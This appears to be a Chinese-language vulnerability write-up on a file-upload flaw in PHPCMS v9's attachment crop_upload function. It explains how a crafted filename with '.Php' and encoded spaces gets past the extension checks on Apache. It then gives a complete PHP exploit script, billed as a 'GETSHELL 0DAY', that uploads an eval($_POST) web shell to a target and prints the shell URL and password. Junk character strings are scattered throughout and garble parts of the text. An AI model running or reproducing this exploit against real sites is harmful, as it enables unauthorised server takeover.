漏洞类型: 文件上传导致任意代码执行
, q$ i4 a( D. r( K: f% q# H7 w* v5 ^% W3 E, |$ q
简要描述:
+ _, H7 H. }, f: c+ ^
6 ~$ j B! V, c* p9 T" C1 @phpcms v9 getshell (apache)& h, C8 I2 [" f8 p4 k# T9 F
详细说明:" d8 u+ s/ o0 ^0 H8 R
5 V5 k6 U$ A" g) O4 G4 Y0 i( e! ^- b0 D* a漏洞文件:phpcms\modules\attachment\attachments.php
: X8 S9 o. i& C W6 `8 @; o6 n$ k6 S9 W
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } : j" ~$ B8 A# A2 h, y! `( R
后缀检测:phpcms\modules\attachment\functions\global.func.php, D, k1 `& q1 o" `
. B+ I" A3 d* r: o. G$ ]
3 Q) d* M. \0 e% ~, | t/ n* d
4 @' G% I+ [# K) j: Ofunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
% p4 {; {! p6 Z5 c* m- Y6 \9 j3 T9 Q, U' N
关键函数:
3 \$ _7 ^6 b; `# _5 ]$ J
q/ k6 U& P) b' v& s6 U) Z
# I, J( V0 q- z* S1 L
2 i$ P4 e& s' ?+ z) Ifunction fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
, h' a+ U$ G; s9 w1 |- S1 h/ k' d& G# K1 p# s0 d) e
Fileext函数是对文件后缀名的提取。
, ~9 T, [- E! M) [; j& M2 a根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
$ W% v! k. P/ Q( c1 \% S经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。: p" X( G, `2 I h- k2 O7 P
我们回到public function crop_upload() 函数中
" H; s0 }% f. W2 G8 t3 v# Xif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();+ [- ~1 {# b# A/ r
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
. L+ P. ?+ O* P这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。$ @) J) V9 D$ g8 ^" ?" v( f
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。' v( f& F8 K, b) V
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。9 h5 @4 ^' C1 G( L/ L
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。' c# @0 \* I3 Q+ N$ ?
漏洞证明:
" O+ ]* E: C* U9 p; }: ]1 {6 M( |9 ]3 ^
exp:' d2 p6 A, D' l2 k
1 d& e3 Y' k6 M! e+ u* v
<?php
/ q8 W. I n W' p& oerror_reporting(E_ERROR);
: b+ j4 H2 X1 m8 [set_time_limit(0);* h* x6 s- g1 [9 d1 ?6 [
$pass="ln";
7 b. m6 `9 k9 V4 @print_r(', R6 Y6 a0 P1 ?& F; W+ q
+---------------------------------------------------------------------------+
. I1 o7 M" ?4 | R& o4 dPHPCms V9 GETSHELL 0DAY
4 d. i+ D* b; f% {; e c7 N1 S Ycode by L.N.
9 o( e7 Z( a. ]+ O4 Q& r! x9 O( {% ~' y9 q9 D/ @' M( ^. w4 M
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
. M' n8 f: @7 X: r: r+---------------------------------------------------------------------------+5 k7 Q1 b# |" ^" @$ V7 Z& B
');
1 F; T$ I$ n/ P0 T, S1 rif ($argc < 2) {
e; y; F$ u$ lprint_r('+ t3 w9 E, D6 H. M* R, A, C
+---------------------------------------------------------------------------+
. b, k+ t& s2 c# V. K8 x" V$ VUsage: php '.$argv[0].' url path
7 S+ W5 l" L! R8 w7 C5 i! K/ Y" n% u- X. u
Example:
" Y" N1 A2 C: l/ t3 ~1.php '.$argv[0].' lanu.sinaapp.com
4 X- y% C- N; A2.php '.$argv[0].' lanu.sinaapp.com /phpcms4 [4 l! V& _& j- M0 r H2 i3 G
+---------------------------------------------------------------------------+
0 |* V3 X \+ s3 k');
* S# w6 Q- Q$ a1 Z; D' Uexit;
- [" ]* A+ r9 m3 t. H* F3 j" m}3 n. m' a5 i( ^ s0 L3 [
$ |# y) i4 |; L a. X
$url = $argv[1];) _, N0 {1 L8 i! G( V
$path = $argv[2];& r- N; K. C- t* |
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
( \1 B5 D9 r/ s1 t! y: _6 B9 B$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';2 L, B) a c8 v/ f& ^
if($ret=Create_dir($url,$path))
3 c" E. H1 e4 b7 `7 K0 b! `{
! f: q% B5 [6 C" s//echo $ret;- |5 H/ r/ q; i7 m& r" b Z
$pattern = "|Server:[^,]+?|U";
0 @' C- j. m/ t. B. hpreg_match_all($pattern, $ret, $matches);
# @% y* Y$ K, Y4 L9 w0 U8 Wif($matches[0][0])4 c @: h {6 i$ [
{9 R# [! ~! w" Q3 Q8 u( z: H, e4 l2 [
if(strpos($matches[0][0],'Apache') == false)& q* C! s% c5 v0 {
{
7 d6 v8 e( I! Zecho "\n亲!此网站不是apache的网站。\n";exit;" S6 _5 q. m& L3 G: g
}
! p, c: g8 I/ g; s}
. T1 X8 S$ r' a. r8 \9 T: \4 V. S$ret = GetShell($url,$phpshell,$path,$file);, h- I- R; S8 x2 T. U6 H5 L$ f& ]
$pattern = "|http:\/\/[^,]+?\.,?|U";3 w/ k0 V9 x% y; [0 S" a$ Z
preg_match_all($pattern, $ret, $matches);
( H' k- @' J- `# j: I: h, j9 T) Eif($matches[0][0])
+ Q- `, N* H' n C2 H7 Q{
* @% b3 e: T7 m% E, Eecho "\n".'密码为: '.$pass."\n";* l( v1 ?$ l! }. z
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
$ S4 a* W) C% W2 Y/ c}
$ Q+ X4 i& s2 {% l) Belse0 U4 x7 h! |$ r4 C/ f" w9 O
{
' @/ F3 |: a$ m) D: [! R+ Z$pattern = "|\/uploadfile\/[^,]+?\.,?|U";1 `; R# ]' h0 u) F, F) H$ M% D
preg_match_all($pattern, $ret, $matches);0 L/ G, Q$ s# o" u% t2 T m
if($matches[0][0])/ Y! s7 E: S2 r8 a& x3 `+ |4 Z0 ]: J
{
7 o$ o# ^9 N3 h2 i3 X* ~- Zecho "\n".'密码为: '.$pass."\n";
+ i- r2 H8 b3 _" h5 Q0 Q2 s- A% Iecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
) {) ^0 s( U7 U2 S0 G% m& P}- ]0 P& S; i% a' p* m7 `/ y
else
6 X2 o3 v- v9 h* X5 }1 U5 a{
, S( w! y/ p4 t- Z5 f0 ~echo "\r\n没得到!\n";exit;
8 x t+ I; `5 d2 X}
6 P0 F ]+ b5 v0 `$ J7 _- @% ^6 ?}
) \) x9 V. R( i}& x9 |' I0 C% {3 {) d1 v
: S- \- b% h1 @8 b- T& k
function GetShell($url,$shell,$path,$js)
0 _1 h7 s0 s i4 N+ I! c{
1 w( p; B& i1 y, K, S# u$content =$shell;! J) N+ y8 p1 s& P/ }; E3 _# u
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
4 r8 ]8 H! |+ \; c$data .= "Host: ".$url."\r\n";8 @8 W' i# }$ ]+ U7 ^% s8 I. p
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
: ~* s+ S2 N# V! U$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";4 |/ A0 R+ a. G) U' W$ }7 k: ^
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
5 q6 m: `" a2 }, a5 d$ u) h$data .= "Connection: close\r\n";
$ _7 K9 V/ x, f5 [) E5 a4 w3 v$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
+ b z1 [* \" l. v+ O! ?7 P; }$data .= $content."\r\n";
% L- e. |% D5 K/ q0 G0 I$ock=fsockopen($url,80);
) o S+ m% @6 z7 S; X Dif (!$ock)
! U( N4 ?' C( h. R{
* }% ~1 Q0 W! S3 u: D. c- aecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;$ T3 R5 S0 Z6 W; ?9 B: R
}- v( E7 m2 Y4 z. D; y( G7 V8 c* M7 ~
else
+ \- l Y8 o3 E$ N{
6 Q) N: R( [, w8 H" f0 u( Efwrite($ock,$data);- [! @0 l. _3 I8 ~ L" X* m! b
$resp = '';
1 t" V+ U( d- \& a3 Rwhile (!feof($ock))0 E& X/ P) j9 o3 V5 w
{
2 ]$ S4 `7 q# ~1 v8 D& \2 U$resp.=fread($ock, 1024);' {7 J. i5 _+ H) K; _: [& m- d6 _6 e
}6 `- z+ F' P9 E" u
return $resp;, i% D% f3 o3 Z, u6 z; i
} z* n" d, }6 T' ^/ @/ q3 Z
}
& v" {& q! m; k# D0 ? o( x3 \) s2 l: `7 T* ~" T
function Create_dir($url,$path='')( E2 x! q/ g, K2 h5 x3 H$ ~% B7 g
{
, j+ c$ A( h q- o; V7 N! {6 C$content ='I love you';
$ k) t$ Q$ A6 }+ h p7 l$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";- {+ ~' A0 d; I* k
$data .= "Host: ".$url."\r\n";
4 z; t* {; z& r) n8 |7 n$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
H5 |4 p8 q) K8 b7 ?( X, {+ K$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; Y/ n" ^$ O7 e9 g0 c
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";- E! l! e x/ I G# A4 ]# I1 ~
$data .= "Connection: close\r\n";, R* b" h6 `6 J+ K& c
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";/ R% t. S( f% t( \; N6 I7 r
$data .= $content."\r\n";# m4 {5 @8 Y2 l+ z6 P x* u2 v
$ock=fsockopen($url,80);
8 d( u! ~/ o2 uif (!$ock)
# c- Q+ h0 K( f" |# r{5 S2 Y0 D' l7 r% j9 j, N# J- C
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;2 X ]- J. T H- o
}
& s9 Q" n8 G- E0 a! G3 b/ m7 b0 q+ Afwrite($ock,$data);8 o! P1 m: @2 }/ T- n: k0 G
$resp = '';
: e) [6 y1 F6 u9 B4 { e6 Xwhile (!feof($ock))6 X# v- k/ F j& r& N5 z! V
{9 L/ {: W! g( {) ]# i* m0 {1 X
$resp.=fread($ock, 1024);
# y# R6 c: [! G}6 a- Z& S ~% O! t
return $resp;9 N2 K) H: X; o! l4 i$ c. E5 H
}
$ {% J6 o6 v7 G) k?>
3 Z7 [- f2 W5 X# J. a- e0 z n# c( w 6 \. s; I; a4 [, ]9 y/ H% L
修复方案:5 E9 Y% y7 i3 L2 Z, r# d
( r; T# D; B# j
过滤过滤再过滤
! V' l* H7 R. k$ ^! T r4 C! u; E- V. ^6 I9 E c. K
|